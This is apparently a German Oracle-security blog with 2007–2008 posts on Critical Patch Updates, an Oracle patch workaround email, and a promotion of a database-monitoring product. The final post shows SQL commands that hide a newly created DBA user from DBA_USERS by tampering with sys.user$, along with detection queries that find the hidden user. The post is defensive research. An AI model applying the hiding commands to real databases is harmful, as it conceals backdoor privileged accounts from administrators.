DOAG 2008

Dezember 3rd, 2008

Nach 3 erfolgreichen Tagen ging heute die DOAG zu Ende. Mein Vortrag „Best of Oracle Security 2008“ ist zum Download via Red-Database vorhanden.

Studie: 88% der IT Professionals würden bei Ihrer Entlassung Daten stehlen

September 5th, 2008

Laut einer Studie der Firma Cyber-Ark, würden 88% der IT Profis Daten mitnehmen, falls Sie entlassen werden würden. Diese Studie wurde auf der Infosecurity 2008 durchgeführt.

Interessant, auch wenn ich persönlich die Zahl als recht hoch ansehe…

Oracle veröffentlicht Update für Oracle CPU July 2008

August 9th, 2008

Gestern abend hat Oracle alle Kunden darüber informatiert, dass die Windows Patches (7047034 und 7047037) für Oracle 10.1.0.5 fehlerhaft war.Hier nochmal die original Email vom Oracle Support Services:

——————————————————————————————————-

Dear Oracle Customer,

You are receiving this email because our records indicated you downloaded Critical Patch Update July 2008 (CPUJul2008) patch for one or more of the following:

o    Oracle Database 10.1.0.5 for the following platforms:
o    Windows 32-bit (Patch 7047034)
o    Windows 64-bit (Patch 7047037)

Symptom and cause of issue
The 10.1.0.5 Database Windows Bundle Patch #26 did not correctly install the sdotopo.jar file.

Workaround if any
Please follow the following manual steps to install sdotopo.jar.

>cd %ORACLE_HOME%\md\lib
>copy sdotopo.jar sdotopo.jar_save
>cd <windows bundle patch location>
>cd files\md\lib
>copy sdotopo.jar %ORACLE_HOME%\md\lib\sdotopo.jar

In the event  you need to rollback to the previous sdotopo.jar:

>cd %ORACLE_HOME%\md\lib
>copy sdotopo.jar_save sdotopo.jar

These steps are also documented in MetaLink Note 579285.1  ¿Critical Patch Update July 2008 Database Known Issues¿

Action
Follow the manual steps noted above to install the sdotopo.jar file..

Please accept our apologies for any inconvenience you may have experienced, and we thank you for your patience and cooperation in securing your Oracle server products.

Regards,
Oracle Global Product Support

Oracle Critical Patch Update – CPU April 2008

April 16th, 2008

Gestern abend hat Oracle seinen vierteljährlichen CPU veröffentlicht. Darin werden 41  Fehler in den verschiedenen Datenbank-Produkten korrigiert. Auch diesmal sind wieder die üblichen Verdächtigen (Stephen Kost, Cesar Cerrudo, Esteban Fayo, Alexander Kornbrust) mit dabei. Ausserdem hat Paul Wright 2 PL/SQL Injection Lücken gefunden (siehe sein Blog Eintrag).

Von diesen 41 Fehlern betreffen 15 Fehler die Datenbank, wovon einer [DB08] remote ohne Benutzerkennung (betrifft aber nur 11g Rel. 1) ausnutzbar ist.

2 Fehler betreffen Oracle APEX, wovon 1 Fehler remote ausnutzbar ist. Beim zweiten Fehler handelt es sich um eine SQL Injection Lücke im Package wwv_execute_immediate.

Von Red-Database-Security wurden insgesamt 6 Fehler korrigert. Darunter sind 3 SQL Injection Lücken in SDO_UTIL [DB05], SDO_GEOM [DB06]  und SDO_IDX [DB07] und diese betreffen zum Teil alle supporteten Versionen von 9i Rel. 1 bis  11g Rel. 1 . Diese 3 Packages gehören zur Komponente Oracle Spatial.

Weiterhin gibt es bis einschliesslich Oracle 10.2.0.3 ein hardcodiertes OUTLN Passwort [DB13], das beim Erzeugen spezieller materialized View von Oracle automatisch auf OUTLN zurückgesetzt wird.

Auch für die inzwischen hoffentlich altbekante View Problematik (Update via View bzw. Update via Inline-View) werden Patches [DB10] zur Verfügung gestellt.

Falls Sie weitergehenden Bedarf an Informationen (betroffene Funktionen/Prozeduren, Patching, Workarounds, …) zu diesem Oracle April 2008 CPU benötigen, können wir Ihnen mit dem Opitz CPU Review helfen, das wir exklusiv für Opitz Consulting erstellen.

Sentrigo Hedgehog vs Oracle Auditing

Februar 6th, 2008

Nachdem wir bereits seit dem letzten Jahr von der Sicherheitslösung Hedgehog von Sentrigo überzeugt sind, hat sich nun auch Pete Finnigan dazu entschlossen, Hedgehog in UK zu vertreiben. Hedgehog bietet für eine Vielzahl von Möglichkeiten um existierende Sicherheitsprobleme in Oracle Datenbanken zu lösen. Dazu zählen neben dem Auditing auch das virtuelle Patching von Sicherheitslücken.

Auditing lässt sich mit Oracle Mitteln (was vielen nicht bekannt ist) nur teilweise und unzureichend realisieren. So ist es z.B. nicht möglich, bestimmte wichtige Objekte zu auditieren. Oracle meldet dann nur Fehlermeldungen. Dadurch ist es nicht möglich, alle Passwort-Änderungen zu auditieren:

SQL> audit update on sys.user$;
ERROR at line 1:
ORA-00701: object necessary for warmstarting database cannot be altered

Ausserdem existieren in Oracle (standardmässig) 3 Prozeduren, die es erlauben, Einträge im Audit-Log zu manipulieren (Insert/Update/Delete), was meines Erachtens sehr kritisch zu betrachten ist, wenn bestehende Audit-Informationen von Oracle selbst verändert wird.

Hedgehog kann im Gegensatz zu Oracle auch Updates auf SYS.USER$  mitauditieren.

Wir vertreiben übrigens Hedgehog im Bereich D-A-CH. Bei Interesse und Fragen helfen wir Ihnen gerne weiter.

Erste Exploits für den CPUJan2008 veröffentlicht

Januar 31st, 2008

Die ersten Exploits, die mit dem Januar 2008 CPU korrigierte Lücken betreffen, sind auf milworm.com veröffentlicht worden.

Alexandr Polyakov von Digital Security veröffentlichte 3 Exploits für die XMLDB. Alexandr hat die Fehler Mitte Dezember 2007 gefunden und an Oracle gemeldet. Da Oracle diese Fehler niemals innerhalb von weniger als einem Monat korrigiert, scheint jemand anderes diese Fehler vorher gefunden haben.

Der Oracle Patch CPU January 2008 ist veröffentlicht…

Januar 15th, 2008

Oracle hat gerade seinen neuesten Oracle Critical Patch Update (CPU) Januar 2008 veröffentlicht. Wie in dem Pre-Release Announcement veröffentlicht, enthält der Patch insgesamt 8 Fehlerkorrekturen für die Datenbank selbst. Wie auch bei den vorherigen Oracle CPUs, sind die üblichen Verdächtigen vertreten (Esteban, Joxean, David, Alex). Zusätzlich sind diesmal einige andere Reporter von Sicherheitslücken wie Pete Finnigan, Mariano Nunez Di Croce, Ali Kumcu und Alexandr Polyakov mit dabei.

Laut einer Email die ich von Oracle secalert erhalten habe, wurde 7 meiner Sicherheitslücken (Tracking Nummer: 6980733, 7520291, 9675443, 9675563, 9675681, 9675695, 9675857) korrigiert. Diese Fehler wurde auf die Fehlernummern DB05, DB04 und DB02 abgebildet.

Das höchste CVSS Rating der Datenbank-Fehler von 6.5 hat der Fehler DB01.

DB02, DB03, DB04 und DB05 sind SQL Injection Lücken, die eine Privilegieneskalation erlauben.

Das höchste Application Server CVSS Rating von 9.3 (von 10) haben 2 Fehler (AS01, AS02) im Oracle Jinitiator 1.1.8.26 und 1.3.1.27. Diese Fehler betreffen lediglich die Clients nicht aber den Server. Bei diesem Fehler handelt es sich um den im letzten August vom US-Cert veröffentlichten Stack Buffer Overflow in ActiveX-Control des Jinitiator.

Weitere Informationen zum aktuellen CPU enthält der Metalink-Eintrag (466757.1). Dort werden einige interessante Einzelheiten beschrieben.

So ist es bei diesem CPU notwendig ALLE Views in allen Datenbanken neu zu kompilieren. Ursache sind die „VIEW“-Probleme, die im Juli/Oktober 2007 korrigiert wurden.

Der Oracle CPU Januar 2008 ist der „Terminal CPU“ für das Patchset 10.1.3.0 und 10.2.0.2, wobei die Patches für 10.2.0.2 erst für den 25-Januar angekündigt sind. Für 10.2.0.2 Windows sind keine Patches geplant. Es gibt nun eine neue Tabelle „Planned Patches for Oracle Database“ im Metalink-Dokument.

Weitere Information zum Januar 2008 CPU, detaillierte Fehleranalysen, … sind in Zusammenarbeit mit Opitz-Consulting im CPU-Review erhältlich.

Sentrigo veröffentlicht Report das 67% der DBA noch nie einen CPU eingespielt haben

Januar 14th, 2008

Heute hat Sentrigo einen Bericht veröffentlicht, der von einer Umfrage bei (nordamerikanischen) DBAs berichtet. Demzufolge haben lediglich 10% der DBAs den letzten Oracle CPU (Critical Patch Update) eingespielt und ca. 67% der Umfrageteilnehmer haben noch niemals einen CPU eingespielt.

Dies deckt sich auch mit meinen Erfahrungen, dass auf viele Oracle Datenbanken lediglich der aktuelle Patchset eingespielt wird.

Oracle CPU January 2007 Pre-Release Announcement

Januar 11th, 2008

Etwas verspätet hat Oracle gestern das Pre-Release Announcement für den Oracle Critical Patch Update veröffentlicht, der nächste Woche Dienstag (15. Januar 2008) veröffentlicht wird.

Insgesamt sollen 27 Fehler in Oracle Produkten korrigiert werden. Es sind die großen Oracle Produkte betroffen (Datenbank, Application Server, Collaboration Suite, E-Business-Suite). Erstmals werden auch Fehlerkorrekturen für Oracle 11g veröffentlicht.

In der Oracle Datenbank werden diesmal „nur“ 8 Fehler korrigiert , von denen keiner remote ausnutzbar ist. Der höchste CVSS Wert in der Datenbank ist diesmal 6.5. Korrigiert werden die Komponente  Advanced Queuing, Core RDBMS, Oracle Agent, Oracle Spatial und XML DB.

Wegen des Fehlers in der Core RDBMS und Advanced Queuing sind alle Datenbanken (sofern die Version betroffen ist).

Mehr zu dem Oracle CPU gibt es nächste Woche bzw. über den Oracle CPU-Review, eine detaillierte Fehleranalyse des Oracle CPUs, den Red-Database-Security zusammen mit Opitz Consulting erstellt.

Unsichtbare Benutzer durch Datenmanipulation

Dezember 24th, 2007

Auf der Deepsec-Konferenz gab David Litchfield eine Präsentation zum Thema „In-Memory Rootkits„.  Beiläufig erwähnte er auch die Möglichkeit, unsichtbare Benutzer durch Modifikation der Tablespacenummer zu erzeugen („update sys.user$ set datats#=31337 where user#=76„).Um diese unsichtbaren Benutzer zu finden, riet David, das folgende Statement zu verwenden („SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS„).

————- Tests auf 10.2.0.3 mit Oct 2007 CPU ——————–

— Benutzer U1 mit DBA Rechten erzeugen

SQL> create user u1 identified by u1;

SQL> grant dba to u1;

SQL> select user#, name, datats# from sys.user$;

         0 SYS                                     0

         1 PUBLIC                                  0

        76 U1                                      5

 

— datats# auf einen nicht existierenden Wert setzen

SQL> update sys.user$ set datats#=31337 where user#=76;

 

1 row updated.

 

SQL> commit;

 

Commit complete.

 

— Vergleich sys.user$ mit dba_users

— Wie eine Suche mit Google zeigt, wird dies von vielen verwendet, um unsichtbare Benutzer zu verwenden 

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

U1

 

 

— Aber funktioniert dies immer?

 

— Warum nur eine Spalte updaten?

— Wir ändern einfach den type# auf 2 (Neustart der Datenbank ist notwendig) 

SQL> update sys.user$ set type#=2 where user#=76;

 

1 row updated.

 

SQL> commit;

 

Commit complete.

 

— Wenn wir das vorgeschlagene Statement laufen lassen,

— wird unser User nicht angezeigt. Diesen Fehler haben

— aber alle gemacht (David, Pete, Alex, …) 

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

no rows selected

————-

 

— Zum Testen ist es notwendig, die Datenbank zu starten, da ohne Neustart der Datenbank auch type#<0 funktioniert

SQL> conn u1/u1

 

— Deshalb sollte folgendes Statement verwendet werden

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# !=0 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

U1

 

 Frohe Weihnachten.